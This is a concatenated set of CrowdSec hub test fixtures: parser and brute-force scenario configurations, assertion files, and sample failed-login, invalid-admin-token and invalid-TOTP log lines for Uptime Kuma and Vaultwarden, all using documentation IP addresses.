2022-04-25T15:08:42.237Z [AUTH] WARN: Invalid token provided for user Admin. IP=1.1.1.1hub1/.tests/uptime-kuma-logs/000077500000000000000000000000001437532772500163545ustar00rootroot00000000000000hub1/.tests/uptime-kuma-logs/config.yaml000066400000000000000000000003711437532772500205060ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/timokoessler/uptime-kuma-logs.yaml scenarios: - "" postoverflows: - "" log_file: uptime-kuma-logs.log log_type: uptime-kuma labels: {} ignore_parsers: false hub1/.tests/uptime-kuma-logs/parser.assert000066400000000000000000000047271437532772500211050ustar00rootroot00000000000000len(results["s01-parse"]["timokoessler/uptime-kuma-logs"]) == 2 results["s01-parse"]["timokoessler/uptime-kuma-logs"][0].Success == true results["s01-parse"]["timokoessler/uptime-kuma-logs"][0].Evt.Parsed["timestamp"] == "2022-04-25T15:08:29.098Z" results["s01-parse"]["timokoessler/uptime-kuma-logs"][0].Evt.Parsed["username"] == "Test" results["s01-parse"]["timokoessler/uptime-kuma-logs"][0].Evt.Parsed["message"] == "2022-04-25T15:08:29.098Z [AUTH] WARN: Incorrect username or password for user Test. IP=1.1.1.1" results["s01-parse"]["timokoessler/uptime-kuma-logs"][0].Evt.Parsed["program"] == "uptime-kuma" results["s01-parse"]["timokoessler/uptime-kuma-logs"][0].Evt.Parsed["source_ip"] == "1.1.1.1" results["s01-parse"]["timokoessler/uptime-kuma-logs"][0].Evt.Meta["datasource_path"] == "uptime-kuma-logs.log" results["s01-parse"]["timokoessler/uptime-kuma-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["timokoessler/uptime-kuma-logs"][0].Evt.Meta["log_type"] == "uptime_kuma_failed_password" results["s01-parse"]["timokoessler/uptime-kuma-logs"][0].Evt.Meta["service"] == "uptime-kuma" results["s01-parse"]["timokoessler/uptime-kuma-logs"][0].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["timokoessler/uptime-kuma-logs"][0].Evt.Meta["username"] == "Test" results["s01-parse"]["timokoessler/uptime-kuma-logs"][1].Success == true results["s01-parse"]["timokoessler/uptime-kuma-logs"][1].Evt.Parsed["program"] == "uptime-kuma" results["s01-parse"]["timokoessler/uptime-kuma-logs"][1].Evt.Parsed["source_ip"] == "1.1.1.1" results["s01-parse"]["timokoessler/uptime-kuma-logs"][1].Evt.Parsed["timestamp"] == "2022-04-25T15:16:10.450Z" results["s01-parse"]["timokoessler/uptime-kuma-logs"][1].Evt.Parsed["username"] == "Test" results["s01-parse"]["timokoessler/uptime-kuma-logs"][1].Evt.Parsed["message"] == "2022-04-25T15:16:10.450Z [AUTH] WARN: Invalid token provided for user Test. IP=1.1.1.1" results["s01-parse"]["timokoessler/uptime-kuma-logs"][1].Evt.Meta["datasource_path"] == "uptime-kuma-logs.log" results["s01-parse"]["timokoessler/uptime-kuma-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["timokoessler/uptime-kuma-logs"][1].Evt.Meta["log_type"] == "uptime_kuma_failed_totp" results["s01-parse"]["timokoessler/uptime-kuma-logs"][1].Evt.Meta["service"] == "uptime-kuma" results["s01-parse"]["timokoessler/uptime-kuma-logs"][1].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["timokoessler/uptime-kuma-logs"][1].Evt.Meta["username"] == "Test"hub1/.tests/uptime-kuma-logs/scenario.assert000066400000000000000000000000001437532772500213700ustar00rootroot00000000000000hub1/.tests/uptime-kuma-logs/uptime-kuma-logs.log000066400000000000000000000002651437532772500222620ustar00rootroot000000000000002022-04-25T15:08:29.098Z [AUTH] WARN: Incorrect username or password for user Test. IP=1.1.1.1 2022-04-25T15:16:10.450Z [AUTH] WARN: Invalid token provided for user Test. IP=1.1.1.1hub1/.tests/vaultwarden-bf/000077500000000000000000000000001437532772500160755ustar00rootroot00000000000000hub1/.tests/vaultwarden-bf/config.yaml000066400000000000000000000004441437532772500202300ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/Dominic-Wagner/vaultwarden-logs.yaml scenarios: - ./scenarios/Dominic-Wagner/vaultwarden-bf.yaml postoverflows: - "" log_file: vaultwarden-bf.log log_type: Vaultwarden labels: {} ignore_parsers: true hub1/.tests/vaultwarden-bf/parser.assert000066400000000000000000000000001437532772500206020ustar00rootroot00000000000000hub1/.tests/vaultwarden-bf/scenario.assert000066400000000000000000000254241437532772500211320ustar00rootroot00000000000000len(results) == 3 "2001:db8::b6d3:95d7:1425:766d" in results[0].Overflow.GetSources() results[0].Overflow.Sources["2001:db8::b6d3:95d7:1425:766d"].IP == "2001:db8::b6d3:95d7:1425:766d" results[0].Overflow.Sources["2001:db8::b6d3:95d7:1425:766d"].Range == "" results[0].Overflow.Sources["2001:db8::b6d3:95d7:1425:766d"].GetScope() == "Ip" results[0].Overflow.Sources["2001:db8::b6d3:95d7:1425:766d"].GetValue() == "2001:db8::b6d3:95d7:1425:766d" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "vaultwarden-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "vaultwarden_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "vaultwarden" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "2001:db8::b6d3:95d7:1425:766d" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-03T16:10:11.219Z" results[0].Overflow.Alert.Events[0].GetMeta("username") == "test@example.com" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "vaultwarden-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "vaultwarden_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "vaultwarden" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "2001:db8::b6d3:95d7:1425:766d" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-03T16:10:15.993Z" results[0].Overflow.Alert.Events[1].GetMeta("username") == "test@example.com" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "vaultwarden-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "vaultwarden_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "vaultwarden" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "2001:db8::b6d3:95d7:1425:766d" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-03T16:10:14.593Z" results[0].Overflow.Alert.Events[2].GetMeta("username") == "test@example.com" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "vaultwarden-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "vaultwarden_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "vaultwarden" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "2001:db8::b6d3:95d7:1425:766d" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-03T16:10:30.702Z" results[0].Overflow.Alert.Events[3].GetMeta("username") == "test@example.com" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "vaultwarden-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "vaultwarden_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "vaultwarden" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "2001:db8::b6d3:95d7:1425:766d" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-03T16:10:35.376Z" results[0].Overflow.Alert.Events[4].GetMeta("username") == "test@example.com" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "vaultwarden-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "vaultwarden_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "vaultwarden" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "2001:db8::b6d3:95d7:1425:766d" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-03T16:10:36.81Z" results[0].Overflow.Alert.Events[5].GetMeta("username") == "test@example.com" results[0].Overflow.Alert.GetScenario() == "Dominic-Wagner/vaultwarden-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 "2001:db8:48::82b:7a19" in results[1].Overflow.GetSources() results[1].Overflow.Sources["2001:db8:48::82b:7a19"].IP == "2001:db8:48::82b:7a19" results[1].Overflow.Sources["2001:db8:48::82b:7a19"].Range == "" results[1].Overflow.Sources["2001:db8:48::82b:7a19"].GetScope() == "Ip" results[1].Overflow.Sources["2001:db8:48::82b:7a19"].GetValue() == "2001:db8:48::82b:7a19" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "vaultwarden-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "vaultwarden_failed_admin_auth" results[1].Overflow.Alert.Events[0].GetMeta("service") == "vaultwarden" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "2001:db8:48::82b:7a19" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-05T11:55:04.725Z" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "vaultwarden-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "vaultwarden_failed_admin_auth" results[1].Overflow.Alert.Events[1].GetMeta("service") == "vaultwarden" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "2001:db8:48::82b:7a19" results[1].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-05T11:55:04.725Z" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "vaultwarden-bf.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "vaultwarden_failed_admin_auth" results[1].Overflow.Alert.Events[2].GetMeta("service") == "vaultwarden" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "2001:db8:48::82b:7a19" results[1].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-05T11:55:04.725Z" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "vaultwarden-bf.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "vaultwarden_failed_admin_auth" results[1].Overflow.Alert.Events[3].GetMeta("service") == "vaultwarden" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "2001:db8:48::82b:7a19" results[1].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-05T11:55:04.725Z" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "vaultwarden-bf.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "vaultwarden_failed_admin_auth" results[1].Overflow.Alert.Events[4].GetMeta("service") == "vaultwarden" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "2001:db8:48::82b:7a19" results[1].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-05T11:55:04.725Z" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "vaultwarden-bf.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "vaultwarden_failed_admin_auth" results[1].Overflow.Alert.Events[5].GetMeta("service") == "vaultwarden" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "2001:db8:48::82b:7a19" results[1].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-05T11:55:04.725Z" results[1].Overflow.Alert.GetScenario() == "Dominic-Wagner/vaultwarden-bf" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 6 "2001:db8:48::82b:7a18" in results[2].Overflow.GetSources() results[2].Overflow.Sources["2001:db8:48::82b:7a18"].IP == "2001:db8:48::82b:7a18" results[2].Overflow.Sources["2001:db8:48::82b:7a18"].Range == "" results[2].Overflow.Sources["2001:db8:48::82b:7a18"].GetScope() == "Ip" results[2].Overflow.Sources["2001:db8:48::82b:7a18"].GetValue() == "2001:db8:48::82b:7a18" results[2].Overflow.Alert.Events[0].GetMeta("datasource_path") == "vaultwarden-bf.log" results[2].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[0].GetMeta("log_type") == "vaultwarden_failed_totp" results[2].Overflow.Alert.Events[0].GetMeta("service") == "vaultwarden" results[2].Overflow.Alert.Events[0].GetMeta("source_ip") == "2001:db8:48::82b:7a18" results[2].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-05T12:01:51.892Z" results[2].Overflow.Alert.Events[1].GetMeta("datasource_path") == "vaultwarden-bf.log" results[2].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[1].GetMeta("log_type") == "vaultwarden_failed_totp" results[2].Overflow.Alert.Events[1].GetMeta("service") == "vaultwarden" results[2].Overflow.Alert.Events[1].GetMeta("source_ip") == "2001:db8:48::82b:7a18" results[2].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-05T12:01:51.892Z" results[2].Overflow.Alert.Events[2].GetMeta("datasource_path") == "vaultwarden-bf.log" results[2].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[2].GetMeta("log_type") == "vaultwarden_failed_totp" results[2].Overflow.Alert.Events[2].GetMeta("service") == "vaultwarden" results[2].Overflow.Alert.Events[2].GetMeta("source_ip") == "2001:db8:48::82b:7a18" results[2].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-05T12:01:51.892Z" results[2].Overflow.Alert.Events[3].GetMeta("datasource_path") == "vaultwarden-bf.log" results[2].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[3].GetMeta("log_type") == "vaultwarden_failed_totp" results[2].Overflow.Alert.Events[3].GetMeta("service") == "vaultwarden" results[2].Overflow.Alert.Events[3].GetMeta("source_ip") == "2001:db8:48::82b:7a18" results[2].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-05T12:01:51.892Z" results[2].Overflow.Alert.Events[4].GetMeta("datasource_path") == "vaultwarden-bf.log" results[2].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[4].GetMeta("log_type") == "vaultwarden_failed_totp" results[2].Overflow.Alert.Events[4].GetMeta("service") == "vaultwarden" results[2].Overflow.Alert.Events[4].GetMeta("source_ip") == "2001:db8:48::82b:7a18" results[2].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-05T12:01:51.892Z" results[2].Overflow.Alert.Events[5].GetMeta("datasource_path") == "vaultwarden-bf.log" results[2].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[5].GetMeta("log_type") == "vaultwarden_failed_totp" results[2].Overflow.Alert.Events[5].GetMeta("service") == "vaultwarden" results[2].Overflow.Alert.Events[5].GetMeta("source_ip") == "2001:db8:48::82b:7a18" results[2].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-05T12:01:51.892Z" results[2].Overflow.Alert.GetScenario() == "Dominic-Wagner/vaultwarden-bf" results[2].Overflow.Alert.Remediation == true results[2].Overflow.Alert.GetEventsCount() == 6hub1/.tests/vaultwarden-bf/vaultwarden-bf.log000066400000000000000000000062651437532772500215320ustar00rootroot00000000000000[2022-02-03 16:10:11.219][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com. [2022-02-03 16:10:15.993][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com. [2022-02-03 16:10:14.593][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com. [2022-02-03 16:10:30.702][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com. [2022-02-03 16:10:35.376][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com. [2022-02-03 16:10:36.810][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com. [2021-02-03 16:10:59.955][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com. [2021-02-03 16:11:02.266][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com. [2021-02-03 16:11:04.117][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com. [2021-02-03 16:11:57.620][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com. [2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19 [2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19 [2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19 [2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19 [2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19 [2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19 [2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18 [2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18 [2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18 [2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18 [2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18 [2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18hub1/.tests/vaultwarden-logs/000077500000000000000000000000001437532772500164525ustar00rootroot00000000000000hub1/.tests/vaultwarden-logs/config.yaml000066400000000000000000000003611437532772500206030ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/Dominic-Wagner/vaultwarden-logs.yaml scenarios: postoverflows: log_file: vaultwarden-logs.log log_type: Vaultwarden labels: {} ignore_parsers: false hub1/.tests/vaultwarden-logs/parser.assert000066400000000000000000002660031437532772500212000ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 22 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "[2022-02-03 16:10:11.219][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "[2022-02-03 16:10:15.993][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "[2022-02-03 16:10:14.593][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "[2022-02-03 16:10:30.702][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "[2022-02-03 16:10:35.376][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][5].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["message"] == "[2022-02-03 16:10:36.810][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][6].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["message"] == "[2021-02-03 16:10:59.955][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com." results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][7].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["message"] == "[2021-02-03 16:11:02.266][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com." results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][8].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Parsed["message"] == "[2021-02-03 16:11:04.117][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com." results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][9].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Parsed["message"] == "[2021-02-03 16:11:57.620][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com." results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][10].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][11].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][12].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][13].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][14].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][14].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s00-raw"]["crowdsecurity/non-syslog"][14].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][14].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][14].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][15].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][15].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s00-raw"]["crowdsecurity/non-syslog"][15].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][15].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][15].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][16].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][16].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s00-raw"]["crowdsecurity/non-syslog"][16].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][16].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][16].Evt.Meta["datasource_type"] == "file" 